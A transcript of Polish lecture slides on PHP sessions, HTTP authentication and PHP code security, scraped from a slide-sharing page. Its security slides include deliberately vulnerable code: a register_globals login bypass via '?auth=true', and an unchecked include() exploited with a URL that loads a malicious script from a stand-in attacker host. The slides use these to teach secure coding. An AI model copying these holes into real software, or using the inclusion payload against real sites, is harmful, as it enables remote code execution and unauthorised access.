Kurs WWW – wykład 10
-
Upload
patrick-boyer -
Category
Documents
-
view
36 -
download
0
description
Transcript of Kurs WWW – wykład 10
PHP i sesje - wprowadzenie
Jak to działa? po co to? – stan aplikacji rola klienta i serwera identyfikator sesji (cookie lub zmienna GET)
PHP i sesje - wprowadzenie
Utworzenie sesji
Korzystanie z sesji
KLIENTKLIENT SERWERSERWER
Klient wysyła żądanie zasobu
Serwer odsyła identyfikatornowo utworzonej sesji
KLIENTKLIENT SERWERSERWER
Klient wysyła żądanie zasobudołączając identyfikator sesji
Na serwerzetworzona jestnowa sesja
Na serwerzeodtwarzane
są dane sesji
PHP i sesje – zestaw funkcji
string session_name ([string nazwa]) pobierz i/lub ustaw nazwę dla sesji wywołujemy przed session_start() używana w identyfikatorze sesji (ciastka lub
URL, domyślnie PHPSESSID) jeśli chcemy zmienić nazwę, to musimy ją
wywoływać na każdej stronie – w przeciwnym razie od razu przywracana jest wartość z session.name
PHP i sesje – zestaw funkcji
string session_id ([string id]) pobierz i/lub ustaw identyfikator sesji jeżeli zmienić identyfikator bieżącej sesji, to
musimy wywołać funkcję przed session_start() bool session_start(void)
tworzy (lub odtwarza) sesję w oparciu o identyfikator sesji przekazywany przez COOKIE lub parametr w URL.
jeżeli używamy sesji opartych o cookies, to session_start() musi być wywołane przed wysłaniem czegokolwiek do przeglądarki
PHP i sesje – zestaw funkcji
void session_write_close(void) zapisuje dane i kończy sesję
void session_commit(void) alias do session_write_close()
bool session_destroy(void) niszczy sesję, nie usuwa ciasteczka prosty sposób usunięcia ciastka sesyjnego:
setcookie(session_name(),"",0,"/")
PHP i sesje – przykład
licznik.php
PHP i sesje – zestaw funkcji
string session_save_path([string ścieżka]) pobierz i/lub ustaw ścieżkę zapisu bieżącej
sesji w Foxserv domyślnie:
C:\FoxServ\sessiondata bool session_regenerate_id(void)
tworzy nowy identyfikator dla sesji (dostępne od PHP 4.3.2)
PHP i sesje – zestaw funkcji
string session_encode(void ) koduje dane sesji do postaci stringu
bool session_decode(string dane) odtwarza dane sesji ze stringu najpierw trzeba użyć session_start
void session_set_cookie_params(
int czas_życia
[, string ścieżka
[, string domena]]) ustawia parametry ciastka sesji
PHP i sesje – zestaw funkcji
array session_get_cookie_params(void) zwraca parametry ciasteczka sesji
lifetime – czas życia sesji path – ścieżka dla sesji domain – domena ciasteczka secure – ciasteczko może być przesyłane tylko
poprzez biezpieczne połączenie
PHP i sesje – zmienne (cz. 1)
bool session_register(mixed nazwa
[, mixed ...]) rejestruje zmienną globalną jako zmienną sesji$dilbert = "Fajny komiks";
session_register("dilbert");
bool session_unregister(string nazwa) wyjestruj zmienną z bieżącej sesji
PHP i sesje – zmienne (cz. 1)
void session_unset(void) zwalnia wszystkie zmienne sesji
bool session_is_registered(string nazwa) sprawdza, czy zmienna jest zarejestrowana
PHP i sesje – zmienne (cz. 2)
Używamy tablicy $_SESSION[ ] (w starszych wersjach $HTTP_SESSION_VARS[ ]) ustanowienie zmiennej sesyjnej
$_SESSION["zmienna"] = "a to jej wartosc" usunięcie zmiennej sesyjnej
unset($_SESSION["zmienna"]) usunięcie wszystkich zmiennych
$_SESSION = array() sprawdzenie, czy zmienna istnieje
isset($_SESSION["zmienna"])
PHP i sesje - przykłady
Niszczenie sesji (pierwszy sposób)
<?php
// Jeśli używasz sesion_name("cośtam"),
// nie zapomnij o tym teraz!
session_start();
session_unset();
session_destroy();
?>
PHP i sesje - przykłady
Niszczenie sesji (drugi sposób)
<?php
// Jeśli używasz sesion_name("cośtam"),
// nie zapomnij o tym teraz!
session_start();
$_SESSION = array();
session_destroy();
?>
PHP i sesje
Propagowanie identyfikatora w URLu kiedy stosować? stała SID opcja --enable-trans-sid opcja --enable-trans-sid, a wydajność –
różnica ok. 10% Zapisywanie danych sesji w bazie danych
do czego może się to przydać? (personalizacja) funkcje session_encode() i session_decode()
PHP i sesje – opcje
session.save_path określa, gdzie będą tworzone pliki z danymi
sesji domyślnie: C:\FoxServ\sessiondata
session.name określa nazwę sesji, która będzie też nazwą
ciastka domyślnie PHPSESSID
PHP i sesje – opcje
session.auto_start określa, czy sesja ma być uruchamiana
automatycznie na początku wywołania domyślnie 0 (wyłączone)
session.cookie_lifetime określa w sekundach długość życia ciastka
sesyjnego 0 oznacza "dopóki przeglądarka nie została
zamknięta" domyślnie 0
PHP i sesje – opcje
session.use_cookies określa, czy identyfikator sesji będzie po
stronie klienta pamiętany za pomocą ciastka domyślnie 1 (włączone)
session.use_only_cookies określa, czy do pomiętania id sesji mają być
wykorzystywane tylko ciastka domyślnie 0 (ze względu na kompatybilność) zwiększa bezpieczeństwo
Kontrola dostępu do danych
Terminologia Authentication – identyfikacja Authorization – czy jest dostęp do zasobu Access Control – sterowanie dostępem do
zasobu (może zależeć od innych czynników)
Autoryzacja HTTP
Rodzaje Basic Digest
Główna zaleta Digest – hasło nie jest przesyłane jawnym tekstem
Autoryzacja HTTP w Apache'u
Najpierw sprawdzamy, czy apache jest skompilowany z modułem mod_auth.c
apache.exe -l
httpd -l Upewniamy się, że pliku httpd.conf jest wpis
AllowOverride All Teraz, możemy utworzyć plik .htaccess w
każdym katalogu w którym chcemy sterować prawami dostepu
Autoryzacja HTTP w Apache'u
Przykładowa zawartość pliku .htaccess<Files tajne.php supertajne.php>
AuthType Basic
AuthUserFile /usr/local/apache/users
AuthName "Administration Module"
Require valid-user // pawel zenek
Order allow,deny
Allow from swiatowit.ii.uni.wroc.pl
Deny from all
Satisfy any // all
</Files>
Pominięcie znacznika Files sprawi, że chroniona będzie cała zawartość katalogu
Autoryzacja HTTP w Apache'u
Na końcu tworzymy użytkownika
htpasswd -c users pawel
htpasswd users john istotne, żeby pliku z użytkownikami nie
trzymać w miejscu dostępnym z przeglądarki
Autoryzacja HTTP w Apache'u
Podsumowanie wystarcza przy mało wymagającej autoryzacji ograniczenia przy zarządzaniu użytkownikami interfejs przeglądarki wylogowanie poprzez wyłączenie przeglądarki konieczność ingerencji w konfigurację serwera
Autoryzacja HTTP w PHP
Kilka uwag na początek: obsługiwana tylko wtedy, gdy PHP działa jako
moduł Apache (jako CGI – nie działa) obecnie obsługiwana jest tylko autoryzacja
typu Basic po wysłaniu nagłówków, użytkownik wpisuje
dane użytkownika i hasło, które są przekazywane w zmiennych
$_SERVER['PHP_AUTH_USER'] $_SERVER['PHP_AUTH_PW']
Autoryzacja HTTP w PHP
Przykład: httpauth.php
Autoryzacja – sesje w PHP
Etapy dostępu do danych Logowanie
pobranie danych użytkownika (login + hasło) weryfikacja odnotowanie faktu weryfikacji w logach rozpoczęcie sesji
Autoryzacja – sesje w PHP
Etapy dostępu do danych Użycie sesji
podtrzymanie sesji ponowna weryfikacja uprawnień
Wylogowanie zakończenie sesji odnotowanie faktu w logach usunięcie danych związanych z sesją (ważne)
Autoryzacja – sesje w PHP
Przykład: login.php i pokaz.php
Autoryzacja – sesje w PHP
Sprawdzanie hasła: jak w przykładzie na podstawie pliku tekstowego na podstawie bazy danych
W miarę możliwości nigdzie nie trzymamy haseł w postaci jawnej
Autoryzacja – sesje w PHP
Zalety przechowywania haseł w pliku dobre dla obsługi kilku użytkowników łatwa obsługa nie wymagają dodatkowego oprogramowania
Zalety przechowywania haseł w bazie danych możliwość obsługi bardzo wielu użytkowników szybszy dostęp lepsze zarządzanie zawartością większe bezpieczeństwo
Autoryzacja – sesje w PHP
Przesyłanie hasła jawny tekst szyfrogram md5 (obliczany po stronie klienta)
Bezpieczeństwo kodu PHP
Opcja register_globals w php.ini jej włączenie powoduje, że wszystkie dane
pochodzące od użytkownika są dostępne z poziomu zmiennej (POST, GET, COOKIE, ...)
powinna być wyłączona (Off) i tak jest domyślnie
Przykład (login.php):<?phpif ($password == "as3jksj4w") $auth=true;if ($auth) uruchom_tajne_procedury();?>
Bezpieczeństwo kodu PHP
A teraz uruchamiamy skrypt
login.php?auth=true Przykład: (login.php ulepszony)<?php
$auth=false;
if ($password == "as3jksj4w") $auth=true;
if ($auth) uruchom_tajne_procedury();
?>
Bezpieczeństwo kodu PHP
Raportowanie błędów – error_reporting() podczas pisania skryptów, testowania należy
włączyć raportowanie
error_reporting(E_ALL) przy wdrażaniu aplikacji należy wszystkie
raportowania bezwzględnie powyłączać
error_reporting(0)
Bezpieczeństwo kodu PHP
Weryfikacja danych pochodzących od użytkownika sprawdzić należy wszystkie dane w
szczególności pod kątem typ danych zawartość długość
akceptujemy te tylko dane, których się spodziewaliśmy
nigdy nie polegamy na weryfikacji po stronie klienta
Bezpieczeństwo kodu PHP
W jaki sposób weryfikować? sprawdzić typy skorzystać z wyrażeń regularnych sprawdzić wielkość sprawdzić zbiór dopuszczalnych wartości ...
Bezpieczeństwo kodu PHP
Przykład:<?php
if (isset($_GET["plik"])) include($_GET["plik"]);
?>
i agresor robi tak:skrypt.php?plik=http://agresor.pl/zlosliwy.php
Bezpieczeństwo kodu PHP
Wszystkie pliki PHP powinny być przez serwer parsowane jeżeli dajemy rozszerzenie .inc, to musimy się
upewnić, że pliki z tym rozszerzeniem są interpretowane
Nie należy dawać możliwości oglądnięcia wyniku działania funkcji phpinfo()
Bezpieczeństwo kodu PHP
Upload plików należy upewniać się, że upload pliku
faktycznie miał miejsce – służą do tego funkcje
is_uploaded_file() move_uploaded_file()
Bezpieczeństwo kodu PHP
Tryb bezpieczny (safe_mode) jeśli możliwe, należy z tego korzystać, chociaż
lepiej dobrze skonfigurować serwer WWW skrypt ma dostęp tylko to tych plików których
właścicielem jest właściciel skryptu
Bezpieczeństwo kodu PHP
Dyrektywy odpowiedzialne za tryb bezpieczny safe_mode = Off safe_mode_gid = 0 safe_mode_include_dir = safe_mode_exec_dir = open_basedir = safe_mode_allowed_env_vars = PHP_ safe_mode_protected_env_vars =
LD_LIBRARY_PATH disable_functions =
Bezpieczeństwo kodu PHP
Ukrywanie rozszerzeń dodajemy w pliku httpd.conf
(ewentualnie .htaccess)
AddType application/x-httpd-php .htm .html Ukrywanie hasła do bazy danych (plik httpd.conf)<Directory "C:\Foxserv\www\test">php_admin_value open_basedir C:\Foxserv\www\testphp_admin_value disable_functions a3js8ge4a2</Directory><?phpecho ini_get("disabled_functions"); ?>